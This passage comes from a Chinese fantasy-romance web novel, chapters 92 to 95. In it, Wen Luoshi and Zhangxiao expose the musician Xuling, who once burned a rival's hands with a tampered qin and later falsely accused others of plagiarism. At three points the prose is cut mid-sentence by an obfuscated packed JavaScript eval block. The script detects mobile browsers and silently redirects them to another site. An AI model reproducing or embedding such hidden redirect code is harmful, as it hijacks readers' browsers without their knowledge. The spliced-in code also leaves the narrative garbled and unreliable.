若爱过一人,提及名姓时,人的眼瞳会变深。深邃,复杂,好像一坛陈年旧酿,甘醇而浓厚。 若爱过一物、一事、一景、甚至一个行当,提及此名之时,人的眼瞳会变浅。明亮,透彻,好像一潭清澈的湖水,把万千天光、十方胜景都映出来,把“喜欢”二字写满湖水的表面。 就像长晓和她讨论写文章时,也像她和长晓讨论弹琴之时。 那老爷爷一个劲点头:“是啊,我们好多人都怀疑,虚灵借给他的琴有问题。但是毕竟是虚灵主动借琴,他表现出好心在先,在场的人即使怀疑,也都咽在肚子里,没人提出。我们有几个人私下谈论过这件事,都觉得此事没有那么简单。” 原来是这样。文落诗明白了大半。 “那么,为什么庄顗会借琴呢?他原本的琴去了哪里?” 要知道,器乐对于乐师来说,就像命根子一样。相当于文落诗的笔,还是最好用的那根笔。 所以,早在稀音城,客栈打手摔断了她最好用的一支笔,她耿耿于怀至今。庄顗的琴自然也是庄顗的命根子,若是大型斗乐,他必然要用自己的琴出战,不可能随意找别人借个琴。 “这我还真打听过。据说,斗乐的前一日,乐坊里忽然有人找他。他背着琴就去了,结果路上被车所撞,琴被碾碎了。这事没闹太大,但是当时之人大多都知道。” 文落诗一惊,竟是如此。 可是,好巧不巧,怎么偏偏有人在那时找他?怎么偏偏会有一辆车撞他? “小姑娘,你是不是想问,这事为什么会这么巧?” 文落诗乖乖点头。 “当时斗乐结束,我们几个人私下见过庄顗,他和我们聊天时,提及当时是有人找到他,说虚灵在乐坊里遇到了急事找他过去一趟,结果他撞坏了琴感到了,虚灵已经不在了,说是事情已经解决了。你说说,这不是纯属折腾人吗?” 文落诗心想,这个老爷爷大概是庄顗的忠实乐迷,句句都像是在替他出气一般。不过,她的关注点倒是不在这里。她思考了一会,皱眉道:“所以,虚灵第二日斗乐之时借他琴,其实也有想为前一日的事情赔礼道歉的成分在?” 老爷爷点头:“当然,只不过这事啊,虚灵当场并没说出来,真正知道的人又太少。若不是我后来和庄顗聊天,我真只当虚灵是好心呢!现在看来,那辆撞人的车就是虚灵安排的,也说不准。” 文落诗觉得信息有点多。她闭上眼睛,捋了捋思路,忽然发现一个大漏洞。 庄顗因为虚灵要找他,才去赶路,然后被车撞,摔坏了琴,第二日不得不借琴。 既然这件事本身就逻辑自洽了,为什么虚灵要改动自己的身世记录呢?就算有像老爷爷这样的人怀疑“被车撞”这件事的古怪,那也没有实质性证据啊,无从定论。莫名引入一个铜炉烫手的说法,不是画蛇添足吗? 借琴。 不管过程是什么,虚灵的最终目的,就是要让庄顗用他的琴去奏乐。为什么偏偏是用他的琴奏乐,就注定了庄顗会输?哪怕是因为乐师临时换琴、没办法磨合,虚灵也应该无法十拿九稳地赢啊。 铜炉。 在这个虚假的故事版本里,庄顗是烧了手。而在真实的故事版本里,庄顗直到上场斗乐前,手都是完好无损的,直到碰了虚灵借的琴…… 一个极为骇人的想法从脑海中冒出。 文落诗觉得,自己怕是要触碰到真相了。 “老爷爷,当时您跟庄顗聊天,除了听说他的琴被撞坏一事,还有聊别的吗?比如……他的手,有没有受伤?” 那老爷爷闻言,只觉惊奇:“小姑娘,你怎么知道的?” 文落诗心中暗叫自己猜对了,表面却愕然:“我我我,我瞎猜的,随便问问。” 她没告诉老爷爷,她查到了杜撰的虚假资料,资料里写了铜炉的事情。因而,老爷爷并不知道文落诗脑子里还有一个版本的故事。 老爷爷重重一点头:“当时我隐约看到他手指红肿,像是被烫过。我本欲上前问候,他却与我说,并无大事,还让我装作不知道此事。我看他的样子,像是害怕惹了什么人,不敢说出真相。我之前不是跟你说过,怀疑虚灵借他的琴有问题吗?我怀疑的就是这个。” 果然! 问题是出在虚灵的琴上! 那就基本确定了。这不是假设,这大概就是真相。 庄顗在借用虚灵的琴演奏时,不知道虚灵在琴弦上做了什么手脚,导致庄顗的手指在奏乐过程中逐渐被烫伤。但所有人离得远,灼伤痕迹又太小,没人目睹此事。虚灵也完完全全蒙混过关。 而庄顗应该是个聪明人,估计是很快猜到虚灵对于整件事的谋划,感叹于对方心机之深沉,抑或是以为对方背后有巨大的势力,他摸不清楚。万一对方真是惹不起的大人物呢?庄顗不敢去质问、也不敢去招惹。故而,他自己不说,还刻意叮嘱他的乐迷装作不知道此事,好让所有人置身事外,安稳度日。 他确实保下了所有人。 但是,以牺牲了他的热爱与未来,为代价。 斗乐是一件很残酷的事情。哪怕像庄顗一样,一路过关斩将走到最后,没能拔得头筹,也会渐渐声明没落。毕竟,对于大多数人来说,记住第一名很容易,而记住第二名,很难。 没有人会关心他是谁。直到现在,庄顗是否还活着,都未曾得知。关于他的资料少之又少,就连长晓都查不出什么。 那场斗乐,虚灵赢了,踩着庄顗的命和梦去赢的。 而庄顗,从那以后,查无此人。 * 文落诗向老爷爷解释了自己在查什么,并说明了目前危险,把老爷爷暂时带回了扶桑楼。长晓得知后,立刻派人给老爷爷安排了临时住所。 “你就是长晓呀,”老爷爷看着面前的人,笑得祥和,“好好好,年轻一辈的这些乐师里,我最看得上的就是你了。好好努力啊,别因为有心人的使坏,把才华埋没了!” 长晓倒是没想到,文落诗当真找到了知晓昔年事之人,还真将他带回了扶桑楼的乐坊。他惊讶许久,听闻老爷爷的语重心长,连忙作揖感谢:“多谢前辈,也真是麻烦前辈被扯进了此事之中,还得离家几日。” “无妨无妨,老了啊,我还正好想看看年轻人都是怎么学曲乐的呢!要是方便,我能否平日里在这坊间走走?” 他并不知道长晓是这里的主人。文落诗只告诉老爷爷长晓在此,刻意瞒下了长晓是这里东家这件事。无他,这件事,旁人接触得越少越好,越安全。 长晓笑道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15310764|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“我去和这里的东家说一声,您随意就好。” 老爷爷捋捋胡子,笑呵呵地看了眼长晓,又看了眼站在他身边的文落诗,频频点头。 “年轻就是好啊,像我这种年纪,再去谈情说爱,都晚了。” 说罢,他又瞟了一眼文落诗,转头走了。 这小姑娘,当初跟自己说自己是长晓的朋友,现在看来,啧啧,根本没这么简单。 而文落诗对于老爷爷内心如何想她丝毫不知,愣在原地,好半天才反应过来,老爷爷好像在说自己和长晓。而此刻,哪里还有老爷爷的踪影?估计早就在她发呆之时回自己的客房了。 她长叹一口气,面色疲惫转头:“不管如何,我算是彻底把这件事查清楚了。” 冬天真冷。她本就体质偏寒,此刻,双手缩在斗篷里使劲搓了搓。 连她自己都不知道,为什么要加一句“不管如何”。像是在回应老爷爷方才的话一般。 长晓走上前,一言不发地帮她整理身后凌乱的头发,然后浅浅笑着道:“辛苦了,多亏了你。” “那么接下来,我去制定一个反击虚灵和归影的计划。”文落诗刻意退后一步,拒绝让长晓有机可乘——不许找机会抱她。 她总觉得,长晓抱得她抱得太频繁了,周围人都纷纷怀疑二人的关系。对她老说,这可真的是一件棘手的事。过去将近一千八百年,她从没受到过这么多八卦的眼神时不时地往她身上投。偏偏遇见长晓之后,自己无缘无故地承受了无数次别人的误解。真是太烦人了。 不过,她内心也是一叹。 其实她知道,不是无缘无故,更不是误解。只是她一直紧绷着,什么都不愿意对自己承认罢了,给自己和长晓,都找了无数个理由,来澄清超出朋友界限的种种。 “查清楚就已经很好了,至于回击,真的不用着急。”长晓不知道她在苦恼什么,见她退后一步,就非常自然地又上前一步,与她保持了同样的距离。 文落诗低下头,不再看他。 “好。” “这段时间你也累了,不妨休息几日。” “嗯。” 长晓慧眼如炬,立刻看出了文落诗的不对劲。见她眼神一直在躲闪,似乎不敢直视自己,有些纳闷。 “怎么了?” “没什么。” 脱口而出之后,文落诗立刻后悔了。 这是她往日在无数话本里见过的最最经典的桥段了。女主人公在思考感情问题,男主人公走上来问她怎么了,她一定会回答那三个字——没什么。 她心里猛叹口气,真是陷进去,就要出不来了。 而想着想着,面前的身影越来越近,最终,一只手臂从背后揽住了不断后退的自己。 “怎么今天一直在躲我啊?”长晓轻轻俯下身,轻声开口。 此刻,文落诗的腰向后弯着,浓墨般的青丝随身姿勾勒出弧度,她侧过头去,轻抿着唇,把眼眸垂得低低的。而长晓的身子微微向前倾着,背后还伸出手去揽着她的腰。说来奇怪,他周身的气息他的眼睛柔得似一汪春水,仿佛把冬日里冰寒的气息全部消融,空气中都染上浅浅的暖意。 就这样,保持了很久很久,文落诗都坚持没说话。 再后来,不知道是哪个路过的小伙计,从远处瞟见此画面,倒吸一口凉气,大喊着跑开:“啊啊啊啊啊我什么都没看见!” 那声音炸开了静止的画面。文落诗迅速直起身来,一溜烟窜回了自己的屋里,把门重重关上,也不管屋外的长晓如何想。 方才那个小伙计怕是以为,她是在躲,而长晓想……亲她。 93. 一曲高歌动红绸 这几日,文落诗日夜思索,拟定了一个专门“坑虚灵”的计划。既然对方不讲道德在先,那她也自然不用这么刚正不阿。 只不过,虚灵和归影是阴谋,是暗地里害人。而她的想法,可以说是阳谋,甚至连阳谋都算不上,只是顺水推舟而已。 在这场计谋之中,需要一个外援帮助,也就是常绫——虽然不知道她和她的寻光戏班最近又在哪里演出,但这不重要。 她给常绫去信一封。 又过了几日,文落诗收到了常绫的回信。一切顺利,常绫也在信中说自己很乐意帮忙,还特意提及了寒芦特意表示愿意帮忙。读到这里,文落诗忍不住轻笑一声,这个寒芦,真的是爱居功啊,信里这话,一看就是她在旁边叨叨,要求常绫给她写上去的。 到此,万事俱备。 时隔这么久,天冷了不止一点。初入赤缇之时是孟冬,而此刻已是仲冬。很快就要迎来一轮回之中最冷之时。 最冷的时候,最需要火热的气氛来取暖。因而,接下来这几个月,赤缇城中各大乐坊的演出众多。单看扶桑楼,就每日宾客盈门,赏乐者如织,甚至何掌柜也找过文落诗和长晓好几次,接过好几笔大生意。 至于虚灵的一切,文落诗和长晓很有默契,都装作不知。 于是,连续好几个月,虚灵一路高升,在各大乐坊中留下无数精彩绝伦的演出,引得无数人的目光在他身上停留许久,甚至,这种火热有了经久不衰的架势。 虚灵是如何做到顺风顺水、步步高升的呢? 他自己当然只觉是因为终于熬出头了,如今声名显赫;归影只觉是这正常趋势,虚灵只是他随便挑选的一个棋子,至于他火不火,不重要;而文落诗当然知道,这之中,少不了她麻烦长晓派人暗中推动的成果。 盛极必衰,物极必反。他一个人,如今几乎抢走了赤缇城中所有乐师的风头,这让别的乐师几乎白白失去了演出机会,也就是赚钱机会,这怎么能忍啊! 不得不说,文落诗还是太了解这种穷人的思维了。对于这种本就并非富贵的人来说,断人财路,当真如同杀人父母。虽然文落诗如今和父母关系不咋地,但要是父母真出事,她第一个急得跳脚。同样,要是有人断了她的财路,让她没办法再写稿赚钱,她必定会直接和对方动手,下狠手的那种。 反正生来是魔么,打架打贯了,而且大部分情况也不会真正害了他人性命,顶多打个半死不活。是以,别看文落诗平时一副柔柔弱弱的温良无害的漂亮外表,这么多年,她的战斗经验当真不算少。不然,她也不会在初见长晓或者其他人的时候,都留下个“凶巴巴”且“极为高冷”的第一印象。别人也就能在嘲笑她修露烟道这件事的时候能踩她一脚,她以前都从来不反击,但别的任何事情,想惹到她,可真是踢到铁板了。 同理,如今的虚灵,只顾沉溺于自己的辉煌,全然不觉,他此刻的大红大紫,已经踢到无数人的铁板了。 虚灵红火了一段时间,渐渐开始有人私下里议论他。正所谓空穴来风,他本就人品不咋地,如今,他的一些不尊重人的小动作啊、争风吃醋的德行啊,一一被人挖了出来,文落诗和长晓再悄悄顺水推舟,派人暗地里推动、渲染,虚灵的一些上不得台面的事情,逐渐成为酒肆茶坊之中的最新谈资。 事情出乎意料地顺利。 文落诗计划利用其他乐师对虚灵愤愤不平的心理。肯定有人对虚灵有意见。她本想着有一个人是一个,但她实属没想到,居然这么多人。这些人争先恐后,以迅雷不及掩耳之势挖出了虚灵的种种不堪,迫不及待将之公之于众,生怕虚灵多逍遥一天似的。 太可怕了。文落诗震撼之余,更多的是一种无端而生的恐惧。若不是她这次想反击虚灵,她是真没在如此程度上亲眼目睹过人心之险恶。 她不禁想,万幸她和长晓都是行得正坐得端的人,哪怕真的有一天被人遇上什么事,被人查了,也基本没什么污点。 哦,她是没什么大问题,但是长晓这些年干过什么……嗯,算了,她也不知道,说不好。 不过,每天浸泡在这种明枪暗箭的环境中,一不小心行错一步,就会像虚灵这样被万箭所指。最开始必然是战战兢兢,可时间长了,大多会磨平所有棱角,无坚不摧。或者有个更合适的说法——心狠手辣,丝毫不觉。 直到此刻,文落诗才开始正视长晓的存在。她一直知道长晓每天颠簸在政治漩涡之中,但如今她才彻底明白,对于这种人来说,手上不沾血,是不可能的。随随便便派出去几个手下的人,活着回来的估计都不再是出去时的数量。你死我活的环境下,能守着一丝良心就不错了。 对他来说可能是家常便饭,但对她来说是第一次胆战心惊。 但是长晓人真的好好啊,温温柔柔的,对所有人都很尊重。文落诗也看出,他在尽最大可能,让所有为他做事的人都不受到伤害。 若不是他自己坦白,不掖着藏着,单看他的外表,文落诗怎么也想不到他的生活环境这么残酷。 他不仅没被磨灭了良心,还对世界上的一切,始终保持着巨大的善意。 而且他还每天对各种事情尽心尽力。此刻估计又在外面忙呢。 这人真好。 文落诗收起无意中露出的笑脸,收回思绪,继续想虚灵的事。 短期之内,虚灵已经走至巅峰,而且加上各种议论声,他身处一个并不牢固的巅峰,随时可能会崩塌。 而这个崩塌时间,自然是由文落诗来决定的。 她拿起常绫的信件,嘴角扬起一抹笑。 * 三日之后,虚灵在某处乐坊内演出完毕,依旧是收获了热烈的掌声。而这掌声之中,已经夹杂了无数议论。 不少人只是听说了坊间四起的负面传言,怀着证实的心态,为了看看这人是谁而来。可虚灵无甚在意,只当是出名之人的正常处境,便大摇大摆收起琴,美美等着几个忠实的乐迷一拥而上,在花团锦簇中回到房间中。 一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15324304|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人连连夸道:“真不愧是我等一路追随了这么多年的名人啊,哪怕时过境迁,依旧光彩不减!” 虚灵很自然地接受了这份夸赞,心里美滋滋的,整个人飘飘然,等着众人继续夸他。 当然,他也不忘记客套地推脱几番,以表现他并没有这么在意这些吹捧的虚名。 聊到正欢,一个不起眼的人忽道:“虚灵大人,我最近有一烦心事,正好与您有关,不知当不当讲。” 虚灵大手一挥:“没什么的,请讲。” 这人面露难色,吞吞吐吐道:“您可知有一个最近名声正旺的戏班子,叫‘寻光’?” 在场的各位都纳闷点点头。虚灵近日略有耳闻,也点点头。 “我前段时间在寒声城中看了他们的演出,不得不说是真好看,就是吧……有那么几处台词,与您给曲子填的词很像……” 虚灵心下一惊,这么多年过去,他已经很久没有写过曲子,也没有再填过词,以前那些都太老旧了。莫非是他最近新写的词曲? “我也不确定啊,只是感觉而已,我前两天特意去找买了他们的流传出的戏折子,仔细对照了一番,越看越觉得像。” 虚灵一听便坐不住了,把那人手中戏折拿过去,和誊抄的自己所作歌词一对比,发现当真有好几处十分相似的,还特意被那好心乐迷标记出来。 他越看越觉得生气。好啊,早知道就不拿长晓开刀了。本来长晓那事是一出假戏,他若是早知道这有个名副其实的抄袭证据,还至于鼓起勇气去动长晓这么一个大人物吗? 提出这事的那人畏畏缩缩,一脸惶恐,生怕他心爱的乐师因此生气似的。 不想,虚灵看了一会手里的证据,便喜笑颜开道:“可真是多谢你了,我相信无论哪一行,都不会允许抄袭一事存在的。我会近日查清此事,还望诸位在证据确凿之前,切莫声张,莫要过早下定论,让旁人以为我是那诬陷别人的败类。” 话虽是这么说着,但在场所有人都都心知肚明,虚灵这是摆明了要与寻光正面抗衡的意思。他们的“头目”都已经表面态度了,他们自然不用咽下这口气,大可以为他们崇拜的人出头,把虚灵护在身后。 他是重要人物,不能轻易出错,因此很多话不能随便说。但他们这些小人物还不能说了吗? 一时间,不少人已经想好该如何在街上替虚灵喊冤、声讨寻光了。 虚灵当然看懂了众人的眼神。他要的就是这个效果,自己不出头,态度含糊,不明说自己的立场,但是所有人都懂。他有这么多人可以帮他冲锋陷阵,何乐而不为呢? 况且,被人抄了,对他来说是好事。群众都会同情受害的那一方。这样一来,他名声会再次大振,短时间之内,根本不用担心再名声落寞了。 天助他也。虚灵乐呵呵与众人聊了些别的,便假意自己要去调查此事,先行离开了。 他自然不会注意到,在他低头研究那份“证据”之时,放在不远处的琴,早已被动了手脚。 94. 一曲高歌动红绸 不出几日,就有人在街上大喊,虚灵太冤了,前些日子被长晓抄了曲,最近有人又发现,有个叫寻光的戏班子又抄了他的词。 消息传播得极快,一时间便传遍了赤缇城。 而此刻在酒楼上的虚灵整个人都是懵的,十分纳闷地问归影:“这次怎么会消息传得这么快?这明明还没几天啊。” “也不算太快,毕竟以你现在的名声,这都算慢的了。我遣人去外城一打听,这事还压根没传出赤缇呢。” 归影对此毫不在意。多来一个证据好啊,有人跟长晓一起被骂,效果加倍。 “哦对了,”他忽然想起一件事,得意洋洋对虚灵道,“最近我查了,长晓没有任何动静。估计是想蹦跶,结果没蹦跶起来。真不敢相信,他也有被我玩弄于掌股之间的一天,哈哈哈。” 虚灵皱眉:“如此,你的任务便完成了,我们好聚好散,不再相欠。我还有演出,先行告辞了。” 说着,他就要推门从雅间离开。 “别啊,早着呢。”归影手指懒洋洋一动,蓝光飞出,直击木门。虚灵下意识一躲,而就在这时,客房的门再度关上。 “再等几天,我才走。” 虚灵忍着一肚子气,重新转回身。没办法,人家修为比自己高多了,打不过,就得听他的。 “长晓都已经解决了,你还有什么事吗?” 归影阴恻恻一笑:“长晓是解决了,但你不想知道他身边那个姑娘是谁吗?” 虚灵眼神一动,他还真想知道。于是,他便再度坐了下来。 恰巧此时,店小二敲门进来,端来两杯满当当的果酒。 归影摆摆手,示意虚灵先拿,虚灵便也不客气,拿起来就一饮而尽。 “你查到她是谁了?” 归影见虚灵想也没想就将一杯果酒饮尽,眼睛眯了眯,嘴角神秘勾起一丝弧度。 “那个姑娘啊……我查了,不得不说长晓的人口风真严,我换了好几个方法,才撬开了其中一个人的嘴。据说姓文,叫文落诗,这些天一直很长晓住在一起。”说到这里,归影自顾自地嘀咕了一句,“嘿,真是新奇了。这么多年都不见他身边有女人,连个母苍蝇都没有,也不知道这文姑娘有什么特殊的。” 虚灵一听他说“这么多年”,就愈发确定,归影说的是长晓的另一重身份。不过如他所说,少知道一些事情还能活得久一些,他对这些也没兴趣。 “文姑娘?那天来买豆浆那个?倒是真漂亮。” 归影点头:“她很奇怪,真的什么背景都没有。我派了一堆人查她,基本上都是无功而返。唯一查到的,就是她很久以前在重霄城求学,在当世大儒殷老先生门下做过学生。真是奇了,长晓身边怎么会有这种毫无背景的小平民女子?” 虚灵觉得这话不好接,于是斟酌着道:“说不定,长晓也是个浅薄的只看面貌之人。毕竟那天我远远看了一眼,文姑娘确实生得漂亮。有这一点在,她哪怕只是个毫无内涵的大花瓶,都有人会喜欢。” 归影脑子里转了转,不得不承认,虚灵说得有理。毕竟这么多年了,长晓身边没有女人,这是所有人都知道的事实。现在文落诗出现了,唯一的解释大概就是,她确实比之前长晓遇上的任何人都漂亮。 “不过嘛……长晓既然这么在意他心爱的姑娘,倒是帮了我一个大忙。”说罢,他阴狠笑了几声。 虚灵脸色染上一丝惊恐:“你是要……” 归影舔了舔嘴角:“杀了她,给咱们最近的丰功伟业庆贺一下?哦,也顺便恶心恶心长晓。” * 文落诗全然不知归影和虚灵背后如何议论,此刻她正趴在桌子上休息,等着好消息。 请常绫她们帮忙,自然不能让她们吃亏。所以,她嘱咐好长晓手下的人,封锁消息,只让流言在赤缇城内传播,一点都不许放出去。 不得不说,长晓无所不能,她本来还担心封锁消息这么大的事情能否办法,结果当时,长晓连面色都没动,只说了句,小事,交给他。 然后他就真的很轻松地吩咐下去,如今他的人已经把消息锁死了。派去城外打探消息的人全都表示,外面的人对此一无所知。 震撼。文落诗觉得真是震撼。 闲来无事,她手中挥舞着笔,一不小心滴了几滴墨在脸上。 听到门口有动静,她恍惚抬起头,看见那个熟悉的身影走来,面含喜色。 她一下子来了精神,支棱起脑袋:“成了?” 长晓颔首,走来她身边,拿出帕子,轻轻擦去她额头上的墨点。 文落诗这才察觉,自己刚刚似乎把墨滴在脸上了。 “顺利吗?”她懒散一问。 “太顺利了,不能再顺利,”长晓收起帕子,眼神中藏不住的喜悦,见文落诗全身都散发着摆烂的气息,好笑道,“你也真敢想,好一出以其人之道还治其人之身,虚灵一句话都说不出来。哦,还不止一出,是两出。” “哼,”文落诗假意不在乎,实则得意极了,“那是自然。我只不过平时懒得出手而已。一出手,哼,别说是虚灵,就算是……” 她想起身边的人是长晓,顿时哑然。 ——当着他的面说这话,似乎不太好。 长晓倒是看透了她的意思,笑了:“想不想知道具体过程?” “想。”文落诗坐直了身子,洗耳恭听。 原来,虚灵今日的演出状态十分不佳。原因无他,那日将寻光之事抖落给虚灵的小“乐迷”,当然是长晓手下的人,受了文落诗的安排嘱托。在虚灵认真阅读“证据”的时候,完全没有注意到,他在虚灵的琴上做了手脚。 是以,今日演出之时,手一触弦,虚灵便会发现不对,感到手指火辣辣地被灼烧。 这件事最妙的是,他还只能选择硬着头皮弹完,装作无事发生。 一来,观演人数众多,他若是临时说自己的琴出了问题,反倒像是在掩饰自己没准备好,或者本身实力不够,必然会引人嘲笑。 二来,如果文落诗猜得没错,他当年就是用这种方式去坑庄顗的,此刻,一摸一样的事情发现的自己身上,他只会觉得心虚和后怕,莫不是庄顗忽然找来了,或者他遭报应了? 于是,据闻,他演出完毕之时,脸色很不好。 好巧不巧,此时,有人在人群中大声质问他,最近说寻光抄袭了他的词是怎么回事。 虚灵没明白这人的来意,只是表示确有其事。 谁知那人不干了,当即在众目睽睽之下,为寻光正名。他说,寻光那道与虚灵所作之词很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15331078|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像的戏折子,是四百多年前就写好的,最早的一场演出,在三百年前的浮光城里,只不过那时候看的人不多。而虚灵的那首词,是近来才写的,拿一个最近的新词去反诬陷早就写好的作品,这不是炒作是什么? 虚灵当时就懵了。 他是真的忽略了这一点。他只想着之前没怎么听过寻光,又听自己的乐迷说,寻光是最近才出名的,脑子一热,顺理成章地以为,是最近自己的又红了,寻光看着眼馋,就把自己最新写的词偷走拿去用的,是蹭他的热度。 他全然想不到,寻光虽然最近才出名,但实则是个存在很久的戏班子了。 那仗义的观众义正辞严,极力为寻光打抱不平。而在场观众繁多,鱼龙混杂,本来就有不少人只是来看乐子,甚至不少人本就对虚灵怀恨在心,想找他的错处。一听不得了的轶闻,这些人立刻沸腾起来。 抄袭可耻,但更可耻的,是为了博取名声而去诬陷别人抄袭自己。 这里可是赤缇城啊,哪里容得下这般无耻之辈! 短时间之内,乐坊里涌起一片对虚灵的谩骂声。虚灵束手无策,想要上前解释,但已经无人在意。偏偏他这时候还得强忍着手被灼伤的疼痛,被一群人围着指指点点,无法离去。 “听上去和我想象得差不多。不过虚灵也真是傻,要是我,发现这次流言传得这么快,就能意识到不对了。”文落诗耷拉着眼袋,嘴角一撇。 假意将寻光之事告诉虚灵的人是文落诗安排的,出头伸张正义的人是文落诗安排的,而在今日爆发之前,迅速将“寻光抄袭虚灵”之事传遍全城的那些人,自然也是她安排的。 她安排这一切的时候,唯一的感受是,长晓手下的人太多了,太太太多了。 而且,个顶个好用,很多时候事半功倍。 她对长晓的敬佩再次翻倍。 “他没有你这个聪明脑瓜,”长晓笑着将手抚过文落诗的后脑勺,玩弄了几下她的乌发,“而且,他沉浸在出名的喜悦之中,更会觉得一切好的事情发生,全是因为他自己。” 文落诗自是深谙这个道理。于是,她完完整整安排了这一出大戏。 这场戏,缺少任何一个环节都不行。 得先让虚灵引起公愤,让很多人对他有意见,积攒下群众的基础。 然后让虚灵沉浸其中,脑子开始混沌,这时,忽然有人提出他真的被抄了,像是给他送上一份大礼,他自然不做他想,欣然接受。那么,他就自己迈入了陷阱。 再之后,一击即中,选一个最合适的时间,把所有事情挑明,让他真正下不来台。 其实战斗的武器,叫作舆论。而文落诗几乎没出手,只是顺水推舟,让虚灵自己往上飘,把自己架在一个高度上,再因为自己的疏忽而重重摔下,从此声名狼藉,身败名裂,再无东山再起之势。 所以文落诗从一开始就说,她这次,其实根本不是阴谋,甚至连阳谋都算不上,只是顺水推舟。 不过,至于怎么一击即中,就真的是文落诗故意而为了。 他不是曾经烫了庄顗的手吗?那就让他也尝尝被烫的滋味。 他不是最近说长晓抄袭他吗?那就让他自己戳破这件事是假的。 文落诗忽然想起什么:“哦对了,那你呢?” 95. 一曲高歌动红绸(十四) “哦对了,那你呢?” 文落诗一时沉浸在兴奋中,差点把这件事的主角给忘了,她一拍脑门,对上长晓那双极为无奈的眼。 “你的事情,最后澄清了吗?” 长晓垂眸,故意冷冷淡淡道:“呦,我们落诗真是越来越厉害了,脑子里想的都是大事,我都只能排在最后了。” 文落诗咬牙:“你能不能好好说话。” 长晓抬眸一笑:“我的事,自然也解决了。” 虚灵被人围起来骂,寸步难行。 这时,忽然有人提出,既然虚灵能诬陷寻光抄袭,有没有可能,前段时间长晓抄袭的事情,也是他为了博取名声而诬陷的呢?毕竟长晓这些年,名声这么好,怎么看也不像是抄袭前辈的人。 赤缇城里长晓的乐迷本来就多得要命,一听这话,他们顿时轰动了。 更重要的是,《落雪歌》的受众群体太大了,没人希望承认自己喜欢的一首曲子是抄的,都希望赶紧有个说法,出来澄清。 在文落诗悄悄安排的几人带领下,众人渐渐发现,长晓是实实在在被冤枉的,虚灵为了诬陷他,竟然还故意传出了《落雪歌》错误的乐谱! 也有人提出,他之所以信了谣言,是因为这两首曲子听起来确实有些像啊。 有人就立刻反驳他,世界上“听起来”像的东西太多了,色受想形识本就是空,单凭一个主观感受,还是被误导过后的没那么公正的感受,何以去评判他人的心血? 耳听和眼见,在人心的影子笼罩下,都不一定为实。 又有人说,传播那谣言的,正是这群不通音律、只是借机散发恶意的人。他们根本不懂何为创作,根本不是为了替虚灵说话,也不是真正对“听起来像”这件事感到不公,只是妄图以此来宣泄情绪,以及看热闹罢了。而正是他们的存在,才会让赤缇城近年来有倾颓之势,险些不复往日繁华。 总之,此事一出,众人皆唏嘘。 自从长晓出事之后,他什么话都没说,本着清者自清的态度,居然真的一点也不回应。如今看来,真是人不知而不愠,不亦君子乎! 如此对比,虚灵更是显得阴险狡诈,一副小人得志的嘴脸。此刻,他狼狈至极,万人唾弃。 最终,虚灵捧着一双被烫伤的手,百口莫辩,落荒而逃。 于是,一场演出,硬生生变成了拨乱反正大会。寻光这个百年优质老戏班的名声在赤缇城中传开,顺便扩大了知名度,关于长晓流言也终于得以澄清,被困扰好几个月的事情,终于有了结之势。 还是那句话,这可是赤缇城啊,是曲乐一行的中心聚集地,也是无数人信仰的地方。 在这种地方,以这些人的传播能力,甚至不需要文落诗出手,不出一下午,事情就传遍大街小巷。 “好了。”文落诗大功告成,重重松下一口气,不等长晓反应过来,便向里屋方向走去。 “你……去做什么?” 长晓实打实懵了,见她当着他的面脱下外衣,只剩个薄薄的白色亵衣,动作一气呵成。 “补觉啊,”文落诗已经钻进被窝里了,头都不带回的,只一团乌发对着长晓,声音远远飘过来,“这么多天,终于完事了。恭喜了我的长晓魔君,我这个参谋终于可以退下了,啊不是,终于可以补觉了。” 然后,几乎是一秒都不等,她就闭上眼。 长晓心里十分震惊,看来她是真的累坏了。 犹豫许久,他还是勉强开口道:“那个,落诗……” “嗯?”床上懒洋洋的声音传来。 “以后,你还是别当着我的面脱衣服了。” “……晚安,我什么都听不见。” 文落诗当然知道他在想什么,懒得搭理他。困死了,她可没这个精力想有的没的。 下一刻,床榻之上就传来浅浅的呼吸声。 睡着得这么快? 不过她方才丝毫不顾及,当着他的面就脱衣服,连屏风后面都不去,真是把他吓坏了。 是他想多了。 她倒是真不见外,太不拘小节了。 长晓轻笑一声,施法挪动屏风,给她挡去屋外的亮光。 * 大约几日后,赤缇城内大多数人都知道长晓被虚灵诬陷,城外也有不少人在传这事。 此事自是激发了不少对于创作的探讨。 原创二字,从来都是不易的。 世界上有真正的原创吗? 若是说没有,倒也合理,毕竟宫商角徴羽那几个音是固定的,人们只是在不断用他们来排列组合,妄图以此拼凑出新的事物,说到底,还真没有一个事物是完完全全凭空而出。 